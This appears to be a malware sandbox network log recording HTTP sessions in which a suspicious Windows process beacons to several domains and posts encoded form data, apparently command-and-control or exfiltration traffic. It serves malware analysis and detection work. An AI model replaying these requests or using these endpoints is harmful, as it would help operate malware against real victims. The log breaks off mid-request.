20	192.168.2.9	54130	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:00.052233934 CEST	441	OUT	GET /7ie4/?dZo=dUG4+DDdp/sjDloUpc1Pa9oz3rcpcCK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLlnR8W+DQIbNoQ2kneVhnOJg05D70cg==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:26:03.453802109 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 18 Aug 2024 16:26:03 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 5a 6f 3d 64 55 47 34 2b 44 44 64 70 2f 73 6a 44 6c 6f 55 70 63 31 50 61 39 6f 7a 33 72 63 70 63 43 4b 32 58 69 4d 69 4f 5a 6b 44 34 34 46 53 6a 4c 31 42 55 4a 43 30 42 37 5a 62 39 70 43 6d 65 43 66 56 58 6b 6d 41 46 76 50 50 6f 67 47 52 52 6f 69 76 4b 56 68 4c 6c 6e 52 38 57 2b 44 51 49 62 4e 6f 51 32 6b 6e 65 56 68 6e 4f 4a 67 30 35 44 37 30 63 67 3d 3d 26 67 74 61 3d 72 7a 71 58 66 34 41 30 32 46 45 6c 5f 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dZo=dUG4+DDdp/sjDloUpc1Pa9oz3rcpcCK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLlnR8W+DQIbNoQ2kneVhnOJg05D70cg==&gta=rzqXf4A02FEl_8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	54131	64.226.69.42	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:08.505729914 CEST	692	OUT	POST /rdfm/ HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.kacotae.com Referer: http://www.kacotae.com/rdfm/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 39 70 4d 6d 76 63 7a 37 33 75 44 75 31 44 62 42 62 42 4e 31 47 4e 44 72 62 35 59 55 6f 7a 31 38 56 56 67 42 4d 64 70 45 2b 5a 65 67 42 49 46 4a 4b 4a 47 64 58 46 65 6b 42 6f 6a 30 51 79 33 74 36 47 33 62 32 4c 48 52 6f 43 71 72 2f 47 36 52 6b 6d 63 73 52 30 5a 4a 4d 73 66 36 37 48 52 57 30 75 51 32 55 61 54 79 67 77 32 49 37 54 39 4f 6a 35 33 4d 76 4e 55 76 45 64 69 7a 63 4f 2f 56 6a 58 68 67 36 43 2f 2b 41 74 67 57 30 42 31 58 5a 63 4f 6a 75 61 5a 56 35 31 38 63 52 74 58 68 72 42 4a 69 6d 4b 6c 6e 47 72 42 51 6f 44 57 48 6c 39 63 6a 62 50 59 4a 37 62 4e 77 Data Ascii: dZo=9pMmvcz73uDu1DbBbBN1GNDrb5YUoz18VVgBMdpE+ZegBIFJKJGdXFekBoj0Qy3t6G3b2LHRoCqr/G6RkmcsR0ZJMsf67HRW0uQ2UaTygw2I7T9Oj53MvNUvEdizcO/VjXhg6C/+AtgW0B1XZcOjuaZV518cRtXhrBJimKlnGrBQoDWHl9cjbPYJ7bNw
Aug 18, 2024 18:26:09.343399048 CEST	361	IN	HTTP/1.1 404 Not Found Server: openresty Date: Sun, 18 Aug 2024 16:26:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	54132	64.226.69.42	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:11.048937082 CEST	716	OUT	POST /rdfm/ HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.kacotae.com Referer: http://www.kacotae.com/rdfm/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 39 70 4d 6d 76 63 7a 37 33 75 44 75 30 6a 72 42 64 57 68 31 52 39 44 6b 46 70 59 55 78 44 30 33 56 56 6b 42 4d 66 46 75 2f 71 32 67 43 70 31 4a 4c 49 47 64 57 46 65 6b 50 49 6a 37 4e 69 33 6b 36 47 37 6c 32 4b 37 52 6f 43 2b 72 2f 45 79 52 6b 52 49 72 58 6b 5a 48 55 63 66 34 31 6e 52 57 30 75 51 32 55 61 57 5a 67 77 65 49 34 6a 74 4f 68 59 33 54 6a 74 55 73 44 64 69 7a 4e 65 2f 4a 6a 58 68 57 36 44 69 70 41 76 6f 57 30 42 6c 58 59 4a 69 73 6b 61 5a 54 30 56 39 54 62 4f 2b 4e 7a 7a 45 2f 6c 61 39 53 63 39 56 54 69 43 32 5a 30 50 56 34 4f 59 59 75 38 38 45 59 64 4d 78 35 59 32 47 32 4a 7a 70 58 49 2b 68 48 50 42 6c 6f 6f 67 3d 3d Data Ascii: dZo=9pMmvcz73uDu0jrBdWh1R9DkFpYUxD03VVkBMfFu/q2gCp1JLIGdWFekPIj7Ni3k6G7l2K7RoC+r/EyRkRIrXkZHUcf41nRW0uQ2UaWZgweI4jtOhY3TjtUsDdizNe/JjXhW6DipAvoW0BlXYJiskaZT0V9TbO+NzzE/la9Sc9VTiC2Z0PV4OYYu88EYdMx5Y2G2JzpXI+hHPBloog==
Aug 18, 2024 18:26:11.700546980 CEST	361	IN	HTTP/1.1 404 Not Found Server: openresty Date: Sun, 18 Aug 2024 16:26:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	54133	64.226.69.42	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:13.612517118 CEST	1729	OUT	POST /rdfm/ HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.kacotae.com Referer: http://www.kacotae.com/rdfm/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 39 70 4d 6d 76 63 7a 37 33 75 44 75 30 6a 72 42 64 57 68 31 52 39 44 6b 46 70 59 55 78 44 30 33 56 56 6b 42 4d 66 46 75 2f 71 75 67 42 61 74 4a 4b 72 75 64 56 46 65 6b 52 59 69 38 4e 69 32 6b 36 47 6a 68 32 4b 32 6d 6f 41 47 72 2b 6e 71 52 73 46 6b 72 65 6b 5a 48 49 73 66 37 37 48 52 44 30 75 41 36 55 62 6d 5a 67 77 65 49 34 6c 52 4f 79 70 33 54 6c 74 55 76 45 64 69 2f 63 4f 2f 31 6a 58 4a 47 36 44 6e 55 41 37 63 57 7a 67 56 58 65 37 61 73 73 61 5a 52 31 56 38 4d 62 4f 69 53 7a 7a 5a 45 6c 61 4a 72 63 36 5a 54 67 33 47 42 6a 4f 68 44 55 4b 55 47 2b 75 67 4c 45 37 38 61 58 55 44 73 51 52 52 6d 52 73 73 57 63 7a 34 51 38 70 4a 35 5a 33 59 76 6a 36 36 6c 6f 49 49 48 79 50 6d 4b 33 6e 2b 77 65 65 4a 5a 42 4e 61 37 47 35 44 74 67 4c 61 34 49 51 61 6b 52 34 2b 66 30 74 69 50 30 56 76 50 6c 70 33 72 62 43 4a 58 49 44 6c 57 6d 47 49 35 61 64 49 33 39 51 4b 48 34 35 45 33 43 32 69 48 4b 64 72 4b 6b 4e 57 76 39 68 77 7a 64 4e 72 74 2f 50 6a 54 57 34 62 71 41 7a 64 31 58 35 36 73 58 5a 66 33 43 75 [TRUNCATED] Data Ascii: dZo=9pMmvcz73uDu0jrBdWh1R9DkFpYUxD03VVkBMfFu/qugBatJKrudVFekRYi8Ni2k6Gjh2K2moAGr+nqRsFkrekZHIsf77HRD0uA6UbmZgweI4lROyp3TltUvEdi/cO/1jXJG6DnUA7cWzgVXe7assaZR1V8MbOiSzzZElaJrc6ZTg3GBjOhDUKUG+ugLE78aXUDsQRRmRssWcz4Q8pJ5Z3Yvj66loIIHyPmK3n+weeJZBNa7G5DtgLa4IQakR4+f0tiP0VvPlp3rbCJXIDlWmGI5adI39QKH45E3C2iHKdrKkNWv9hwzdNrt/PjTW4bqAzd1X56sXZf3CufVH16DL5aEIP8oGkSj4k7ssm/bUhvbkH242MQsO/GXeek8d72gwUNhki+JQYHFgalMOHxZYJxvBkfWSCeVAAu8h/hWGobeDRRzDnfR47yBxU+UwKl3mFIllb9kBCrvTntMds7zQ2tIQIrQ1E4zFMoqwj9a0CcXW7Y2GnvXbQ2xrJqHgGxxPm2pVfHJ9NvtrMDMhHBGue1gIWrcqgKnOhCxjTXiQzxKV576ujzX6s7ZehdymY3YcE+HMDX1W0lnafYDQSH9jWZqfnwIVfb1+yPuY+GGJ5vYX9esztQ47vo39q/eQN0xFgtQC7copF1Ib2bpnKnzxJGOlGcl+0ptQyosgRApzayivqLRrSv3QgWiiRF65/HTgjLzPBtevtuf2ukaWpZ5PbUgWhREbPw/HJjW9Is9tjec0onPWmQQkSqQ6Dg4F4yrfBwzQYsMP9xJWXzTjP5gNqZhH9gegmq/IwnY4/Uo9EVND1oqrIHcVkMOtnG+wHrkt9LKVpLVwKj3U9OHZUzAF/SNQW3DEoBn+HdxzKXHK1zaqg5/SjCT76/FLJAzNZU6GqtMJjzB7PMJvgsQHE9JS0oQzoJFcWk33IaPrfAjtO8s6kEzgUAVInion0Lt93YFkHeJMEQBwQY6AeMdPv/YkSIA4lvrhjiQ8TDeoFkppaRGtzML [TRUNCATED]
Aug 18, 2024 18:26:14.261090994 CEST	361	IN	HTTP/1.1 404 Not Found Server: openresty Date: Sun, 18 Aug 2024 16:26:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	54134	64.226.69.42	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:16.138067007 CEST	437	OUT	GET /rdfm/?dZo=wrkGspiQ383g8BvTCApReourbo49wGJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvPUBNIOaE5m9808ARfJeYmxykw2Zy3w==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:26:16.777698040 CEST	699	IN	HTTP/1.1 404 Not Found Server: openresty Date: Sun, 18 Aug 2024 16:26:16 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	54135	203.161.55.102	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:22.000504017 CEST	698	OUT	POST /irn0/ HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.slushcafe.top Referer: http://www.slushcafe.top/irn0/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 6d 6d 4d 56 31 78 53 46 71 68 59 47 39 57 36 57 4d 4c 6a 61 62 38 2b 48 69 58 32 66 55 58 48 50 49 42 4c 47 2b 51 6a 57 47 58 6d 45 68 50 4a 2b 55 66 35 71 32 52 70 6f 38 59 53 72 76 78 55 52 43 4c 56 31 33 67 76 59 41 57 75 39 56 7a 73 46 64 68 68 66 64 64 4c 6e 43 58 6b 46 50 75 6f 5a 32 45 6d 75 63 4a 46 33 63 59 73 77 48 62 46 6d 50 58 56 49 45 67 5a 52 62 33 54 6f 37 67 43 67 45 66 65 38 78 62 69 71 42 55 6e 50 4b 77 2f 4a 75 63 37 55 6d 38 52 6b 46 77 54 43 39 4e 2b 55 4e 62 35 41 38 52 75 73 77 72 44 70 45 76 70 35 68 6b 48 56 2b 33 45 37 33 34 74 46 Data Ascii: dZo=mmMV1xSFqhYG9W6WMLjab8+HiX2fUXHPIBLG+QjWGXmEhPJ+Uf5q2Rpo8YSrvxURCLV13gvYAWu9VzsFdhhfddLnCXkFPuoZ2EmucJF3cYswHbFmPXVIEgZRb3To7gCgEfe8xbiqBUnPKw/Juc7Um8RkFwTC9N+UNb5A8RuswrDpEvp5hkHV+3E734tF
Aug 18, 2024 18:26:22.591425896 CEST	533	IN	HTTP/1.1 404 Not Found Date: Sun, 18 Aug 2024 16:26:22 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	54136	203.161.55.102	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:24.531580925 CEST	722	OUT	POST /irn0/ HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.slushcafe.top Referer: http://www.slushcafe.top/irn0/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 6d 6d 4d 56 31 78 53 46 71 68 59 47 2f 7a 79 57 4e 73 33 61 64 63 2b 41 73 33 32 66 64 33 48 4c 49 42 48 47 2b 52 6e 47 47 6c 43 45 68 76 35 2b 56 65 35 71 7a 52 70 6f 6f 6f 53 75 69 52 55 47 43 4c 5a 54 33 69 4c 59 41 57 36 39 56 79 63 46 64 51 68 63 63 4e 4c 6c 4f 33 6b 48 4c 75 6f 5a 32 45 6d 75 63 4a 52 52 63 59 55 77 48 6f 64 6d 41 53 70 4a 59 51 5a 57 53 58 54 6f 74 51 44 70 45 66 65 4f 78 61 75 45 42 53 37 50 4b 79 33 4a 75 49 76 56 78 73 52 71 59 41 53 67 30 39 62 34 4e 62 67 63 32 67 69 47 6f 4a 48 51 4f 75 4a 6e 77 57 4f 4f 72 67 45 63 77 66 6b 74 6e 48 62 68 58 6a 65 56 46 75 68 77 77 38 30 65 78 65 33 6a 73 41 3d 3d Data Ascii: dZo=mmMV1xSFqhYG/zyWNs3adc+As32fd3HLIBHG+RnGGlCEhv5+Ve5qzRpoooSuiRUGCLZT3iLYAW69VycFdQhccNLlO3kHLuoZ2EmucJRRcYUwHodmASpJYQZWSXTotQDpEfeOxauEBS7PKy3JuIvVxsRqYASg09b4Nbgc2giGoJHQOuJnwWOOrgEcwfktnHbhXjeVFuhww80exe3jsA==
Aug 18, 2024 18:26:25.374361992 CEST	533	IN	HTTP/1.1 404 Not Found Date: Sun, 18 Aug 2024 16:26:25 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	54137	203.161.55.102	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:26:27.060240984 CEST	1735	OUT	POST /irn0/ HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.slushcafe.top Referer: http://www.slushcafe.top/irn0/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 6d 6d 4d 56 31 78 53 46 71 68 59 47 2f 7a 79 57 4e 73 33 61 64 63 2b 41 73 33 32 66 64 33 48 4c 49 42 48 47 2b 52 6e 47 47 6c 4b 45 67 65 5a 2b 55 35 6c 71 30 52 70 6f 72 6f 53 76 69 52 56 45 43 49 70 50 33 69 32 6c 41 53 4b 39 55 52 45 46 66 6a 35 63 58 4e 4c 6c 47 58 6b 47 50 75 6f 4d 32 41 36 69 63 4a 42 52 63 59 55 77 48 75 78 6d 4a 6e 56 4a 4c 41 5a 52 62 33 54 6b 37 67 43 4d 45 66 58 35 78 61 36 36 42 45 4c 50 45 78 66 4a 68 64 37 56 79 4d 52 6f 62 41 53 47 30 39 6e 6e 4e 62 4e 6c 32 67 57 73 6f 4c 6e 51 50 6f 38 6f 68 43 4b 30 76 6a 30 76 34 63 4d 39 70 33 57 4a 58 43 43 53 62 37 39 56 6a 50 42 58 6b 65 75 36 7a 6d 61 65 30 57 4f 74 6a 49 36 43 52 35 59 74 35 6b 79 4e 46 74 72 65 56 53 2f 63 37 39 4f 65 63 32 48 68 54 69 63 7a 43 64 36 64 73 74 47 69 4f 4e 71 30 36 51 6c 71 59 4a 34 6b 72 75 4c 72 49 6a 4b 30 62 34 79 30 45 52 6b 2f 5a 4a 4f 4f 48 44 2f 67 67 41 38 75 72 32 4b 33 44 49 71 51 50 61 6f 59 61 78 47 73 69 52 6c 30 43 67 66 51 4d 43 52 38 58 57 6f 54 35 76 37 55 54 78 [TRUNCATED] Data Ascii: 